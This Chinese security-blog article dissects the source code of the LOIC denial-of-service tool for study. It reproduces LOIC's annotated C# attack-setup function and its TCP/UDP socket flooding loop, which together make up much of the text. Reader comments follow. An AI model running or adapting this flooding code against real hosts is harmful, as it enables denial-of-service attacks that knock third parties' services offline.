轻松的方式解读“臭名昭著”的DDoS工具LOIC(低轨道离子加农炮)源码

2015-12-07 470895人围观 ,发现 9 个不明物体 工具系统安全

本文原创作者:VillanCh

声明:Loic开源,仅作学习交流用,用作任何非法攻击事件与本站和本作者无关。

Loic介绍:

Loic(低轨道离子加农炮)是一个叫4Chan-affiliated的团体开发的,这个工具被成千上万的匿名使用者使用,在网络环境中,造成了很多混乱,使用DDos来对一个网站进行压力测试。

就我自己而言,我是不喜欢这个工具的,但是很多人对这个工具属于一种崇拜。我一直以为loic这个工具是直接在链路层进行Flood,有非常高的效率或者怎么样的技术水平,但由于当时自己一直没有去寻找Loic的源码,没有去了解Loic到底是怎么一种"神奇"的工具。但是后来知道这玩意C#写的,之前没看过C#的项目,随意搜了一下百度什么的,我很好奇为什么大家对这个东西的源码闭口不提,也许是因为太无聊?也许是因为大家不屑于提这个所谓的加农炮?不管是好是坏这种无聊的事情,就给我这种无聊的人来做吧。

攻击原理

来自wiki的解释

这里关于DoS与DDoS有很详细的解释,有兴趣的读者可以去详细看一下,个人觉得wiki还是很客观地在解释这个问题,但是鉴于wiki中有一些网络术语,如果大家阅读有困难的话,我可以很通俗地来解释一下DoS(DDoS)拒绝服务攻击:

我们浏览一个网站,就要像这个网站发送数据包(合理请求),因为请求完全合理,那么也就意味着,网站将会正常处理我们的请求,这样就是说每一个请求都会消耗一些资源,那么在这样一种情景:比如大学抢课经常出现几千人同时在同一时间上网导致服务器"瘫痪"的事件,那么如果大家能理解到这里的话,我们简单来解释DoS就会变得很容易了,Dos就是你不停的发送某一个请求去占用服务器系统资源,就好比你充当了很多人同时访问一个网站一样,如果网站服务器无法承受这种压力的话自然会崩溃,对不对?

DoS:拒绝服务攻击
DDos:分布式拒绝服务攻击

虽然只是三个字(一个字母)的差别,这两个攻击的威力差别很大,Dos大多数只不过指的是一台主机(攻击机)对目标进行攻击(发送过量的数据包请求来占用服务器资源),而DDoS是一群计算机(被控制者控制的僵尸网络)对目标发起攻击,强度是Dos的很多倍(有幸曾经见过一秒几十G的流量的DDos攻击,僵尸网络包含了多台高性能服务器)。现在截止15年11月aliyun声称他们的服务器已经可以抵御每秒上百G的DDos流量攻击。

Loic初探

Github上down下zip项目源码,打开

没错就这么简单,没什么神奇的,初步看了一下,没错就是C#写的,其实这些真的没什么神奇的,下图是VS2013的界面,打开以后就是这个样子而已,如果你自己开发工具的话,我觉得也不过这样子,其实就是一个很普通的项目罢了,项目截图在下面,大家可以随意感受一下:


至于为什么我打开这个界面?相信大家有过MFC或者C#编程基础的同学都知道这样来分模块看代码不容易乱(这是什么理论),那我们就继续?OK

我们现在应该做什么?还是先点一下启动吧,看看这个神秘的东西到底是怎么样的状况:


看起来非常容易使用,实际上,建议大家在虚拟环境做一下小实验,我们并不是要对这个工具讲解用法,这样没任何意义。我们是来分析Loic源码的,那么我们现在就开工吧!

关于这个项目的源码分析说明:

在开始分析以前,默认大家是有一定的软件开发基础的,但是笔者还是会很努力用一种简单的方式来讲述,以至于不懂得C#但是懂得其他的OOP语言的读者也能懂得项目函数的意义。

首先要做的是在双击开始攻击按钮,


然后转到


选中右键attack,

点击查看定义或者转到定义


然后我们就看到了发动攻击模块的源代码了

然后我直接复制过来方便在注释中讲解一下攻击逻辑

/* 
     我们直接转到了Attack函数,这样可以直接了解它的攻击逻辑模块 
     想必是极好的 
     首先Attack函数有三个参数 
     参数一:toggle是开关的意思,toggle为true且攻击按钮的文本是IMMA CHARGIN MAH LAZER时发动攻击。 
     参数二:on也是开关,这个开关当toggle为false且on为true的时候发动攻击。 
     参数三:设置静默攻击,(如果不是静默攻击的话,会提示出很多的恼人的Messagebox 
     再来看一下引用情况: 
     LOIC\frmMain.cs 
         408:Attack(false,false,true); 
         504:Attack(false,true,true); 
         574:Attack(true,false,false); 
*/ 
        private void Attack(bool toggle, bool on, bool silent) 
        { 
/* 
这个if表明开始攻击的条件 
确认cmdAttack.Text的内容并且同时toggle为true时,开始执行if内语句 
或者 
toggle为false且on为true时开始执行if内语句 
*/ 
            if((cmdAttack.Text
 == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == 
false && on == true)) 
            { 
                try 
                { 
/* 
关于下面这两个try部分的内容,其实很好理解,就是设置端口和线程数,如果没有设置成功就会throw一个异常 
*/ 
                    try { iPort = Convert.ToInt32(txtPort.Text); } 
                    catch { throw new Exception("I don't think ports are supposed to be written like THAT."); } 
                    try { iThreads = Convert.ToInt32(txtThreads.Text); } 
                    catch { throw new Exception("What on earth made you put THAT in the threads field?"); } 
/* 
锁定IP,如果IP没填或者不对的话,抛出一个异常 
*/ 
                    sIP = txtTarget.Text; 
                    if(String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !")) 
                        throw new Exception("Select a target."); 
/* 
这里是对sHost进行处理,sHost是目标主机名称,填了域名就是域名,没有填域名就是IP地址 
*/ 
                    if( String.IsNullOrEmpty(sHost) ) sHost = sIP; 
                    if( !sHost.Contains("://") ) sHost = String.Concat("http://", sHost); 
                    sHost = new Uri(sHost).Host; 
/* 
* 关于攻击方式的选择 
* 这里提供了三个可选方式 
* 1代表TCP 
* 2代表UDP 
* 3代表HTTP 
*/ 
                    iProtocol = 0; 
                    sMethod = cbMethod.Text; 
                    if(String.Equals(sMethod, "TCP")) iProtocol = 1; 
                    if(String.Equals(sMethod, "UDP")) iProtocol = 2; 
                    if(String.Equals(sMethod, "HTTP")) iProtocol = 3; 
                    if(iProtocol == 0) 
                        throw new Exception("Select a proper attack method."); 
/* 
这里显然是设置发送的数据包中的数据的 
* 我猜你不会把自己的名字写进去的,对吧? 
*/ 
                    sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n"); 
                    if(String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2)) 
                        throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O"); 
/* 
* 这里是针对http subsite设置的一个text 
*/ 
                    sSubsite = txtSubsite.Text; 
                    if(!sSubsite.StartsWith("/") && (iProtocol == 3)) 
                        throw new Exception("You have to enter a subsite (for example \"/\")"); 
/* 
* 设置超时信息 
*/ 
                    try { iTimeout = Convert.ToInt32(txtTimeout.Text); } 
                    catch { throw new Exception("What's up with something like that in the timeout box? =S"); } 
                } 
/* 
* 异常处理(略) 
* 有经验的朋友我想这里不是问题, 
* 如果不懂得这里的代码是什么意思,我们可以简单理解为 
* 如果发现上面try的代码抛出异常 
* 捕获异常以后执行下面代码 
*/ 
                catch (Exception ex) 
                { 
                    if(silent) return; 
                    new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return; 
                } 
/* 
* 在正式的攻击开始之前先将文本设置为Stop Flooding 
*/ 
                cmdAttack.Text = "Stop flooding"; 
/* 
* 首先,对TCP和UDP的攻击方式进行处理 
*/ 
                if(String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP")) 
                { 
/* 
* 按照线程数建立XXPFlooder对象 
* 一个线程对应一个XXPFlooder对象。 
* 
* xxp是一个存储攻击对象数组 
*/ 
                    xxp = new XXPFlooder[iThreads]; 
                    for (int a = 0; a < xxp.Length; a++) 
                    { 
/*为每一个线程设计攻击参数 
* sIP 目标ip地址 
* iPort 目标端口号 
* iProtocol 要是用的攻击协议 
* iDelay 延迟 
* chkWaitReply.Checked 是否判断需要受到回复(当然不检查回复的攻击速度更快) 
* sData 数据包的Data 
* chkAllowRandom.Checked 检查是否需要随机 
* 
*/ 
xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked); 
                        /* 启动 */ 
xxp[a].Start(); 
                    } 
                } 
/* 
* 这里代码的组织形式和上面一样,我就不再多讲了,大家很容易可以看懂 
*/ 
                if(String.Equals(sMethod, "HTTP")) 
                { 
                    http = new HTTPFlooder[iThreads]; 
                    for (int a = 0; a < http.Length; a++) 
                    { 
                        http[a]
 = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, 
iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked); 
                        http[a].Start(); 
                    } 
                } 
/* 
* 更新攻击的动态 
*/ 
                tShowStats.Start(); 
            } 
/* 
* 如果toggle是true或者是on为false时,关闭攻击 
*/ 
            else if(toggle == true || on == false) 
            { 
                cmdAttack.Text = "IMMA CHARGIN MAH LAZER"; 
                if(xxp != null) 
                { 
                    for (int a = 0; a < xxp.Length; a++) 
                    { 
                        xxp[a].IsFlooding = false; 
                    } 
                } 
                if(http != null) 
                { 
                    for (int a = 0; a < http.Length; a++) 
                    { 
                        http[a].IsFlooding = false; 
                    } 
                } 
                //tShowStats.Stop(); 
            } 
        }


接下来我们对照几个图片来理解一下段代码的意思

首先是


这样我们就对整体上的攻击逻辑和参数设置有了一定的了解,但是我们还没有深入去看到底是怎么样的攻击方法会造成Dos?

寻找真正的攻击模块

显然我们需要更加深层去看一下接下来的内容,以TCP模式的攻击为例,我们继续深入看一下攻击模块

首先我们需要找到真正的攻击模块,

右击Start然后选择"转到定义"

/*
 * 然后我们找到了Start()启动攻击开关
 */
        public void Start()
        {
 /* 设置开始攻击的标志 */
            IsFlooding = true;
 /*
 * BackgroundWorker 是一个负责后台运行的程序
 *
 * 设置后台运行的对象
 */
            BackgroundWorker bw = new BackgroundWorker();
 /* 这里设置真正后台运行的程序,下面代码表明了后台线程函数名称是bw_DoWork */
            bw.DoWork += new DoWorkEventHandler(bw_DoWork);
            bw.RunWorkerAsync();
        }

Hummmm 到这里我们似乎是找到了攻击模块但是还不是我们想要的。显然我们需要去寻找bw_DoWork这个函数,那么我直接把函数写在下面方便大家看,同样的代码里我尽可能详细地加入了注释,我相信大家都还是可以理解的。

/* 这个bw_DoWork就是真正每一个线程后台在起作用的部分
 * 换句话说,这就是每个线程真正在做的事情
 */
        private void bw_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                byte[] buf;
 /* IPEndPoint 表示通过IP和Port建立一个表示被攻击的主机的网络节点,*/
                IPEndPoint RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
 /* 开始进入攻击循环 */
 while (IsFlooding)
                {
 //建立socket
                    Socket socket = null;
                    //如果是TCP的攻击模式的话执行if内语句。
 if(Protocol == 1)
                    {
 //初始化Socket对象
                        socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        //设置为不延迟
 socket.NoDelay = true;
 //调用socket去链接目标,其实这已经算是完成了一次攻击
 //因为去连接的时候要进行很经典的三次握手
 //(如果对TCPIP协议族有兴趣的读者可以自行研究)
                        try { socket.Connect(RHost); }
                        catch { continue; }
 /*
 * 设置是否阻塞,
 * 关于阻塞的概念,我们简单理解为
 * 如果阻塞的话,必须等待回复之后才可以进行另外的连接
 * 如果设置非阻塞,无需等待回复,直接可以进行连接
 */
                        socket.Blocking = Resp;
                        try
                        {
                            while (IsFlooding)
                            {
 //这里开始正式的攻击计数
                                FloodCount++;
 //下面是一条复合语句,如果大家阅读有困难的话我可以解释一小下
 //如果随机选项被设定的话,可以随机产生Data+String的数据,并且被ASCII编码,传递给buf
                                buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
                                //发送随机无效的数据
 socket.Send(buf);
 //延迟+1,如果延迟过短的话很有可能造成紊乱,当然延迟大的话,攻击效果可能差一点
                                if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
                            }
                        }
                        catch { }
                    }
 /* 同样的,下面的代码和上面的代码如出一辙,真的很简单。不是么? */
                    if(Protocol == 2)
                    {
                        socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                        socket.Blocking = Resp;
                        try
                        {
                            while (IsFlooding)
                            {
                                FloodCount++;
                                buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
                                socket.SendTo(buf, SocketFlags.None, RHost);
                                if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
                            }
                        }
                        catch { }
                    }
                }
            }
            catch { }
        }

那么就象我们看到的,这并没有什么特别之处,只是建立了一个socket然后不停地发送数据包罢了。对于所谓的TCP的模式攻击就仅此而已,UDP和HTTP攻击我就不再详细分析了,但是需要注意的是HTTP攻击有一点不一样,但是一点都不困难。

源码思考

思考一:

这个工具所谓的攻击不过如此,其实是非常低级的,但是为什么这样一种XX的工具会造成性当大的影响?这个问题恐怕不用多讲,每个人都有自己的答案吧。

思考二:

有经验的朋友们都会发现,这位低轨道离子加农炮构造的不过只是应用层的攻击,然而,我们知道如果你是基于应用层攻击的话,以TCP为例,你发出去的数据包记录了你的IP,也就是说,你的IP已经随着数据包发出去了,嗯,接下来,对于有一点安全意识的人来讲,一定会挂代理VPN,或者是socks,或者是Tor,那么这样安全性就真的有保证了么?我想答案一定是否定的。

思考三:

如果你是一个安全研究者,对于这种攻击,可以通过过滤IP,流量分析来很容易的挡住,如果作为测试人员,你一定已经想到了更多的攻击方式了,对不对?

*原创作者:VillanCh,本文属FreeBuf原创奖励计划文章,未经作者本人及FreeBuf许可,切勿私自转载

这些评论亮了

  • ИамаБастард (1级) 这家伙太懒了,还未填写他人描述! 回复
    大神,你是不是分析错源码了?
    https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
    说的很清楚,Loic 是 Praetox Technologies 开发的,
    匿名者使用的是修改过的Loic,是添加了HiveMind特性的版本。(鬼知道怎么翻译)
    并且因为LOIC暴露攻击者IP,导致很多 Anonymous 被捕,在2011年匿名者组织就发出“Do NOT use LOIC.”的警告,并再未使用。
    在放弃LOIC后匿名者进化出HOIC
    https://en.wikipedia.org/wiki/High_Orbit_Ion_Cannon
    再后来,.... (扯不下去了,扔下 http://www.freebuf.com/tools/36545.html 自个跑了)
    )13( 亮了
  • Angus (5级) AMD®Zen.Team.com.org.cn.net/lo... 回复
    怪不得.我越攻击别人我自己的网速就越慢. :eek:
    )12( 亮了
发表评论

已有 9 条评论

取消
Loading...
css.php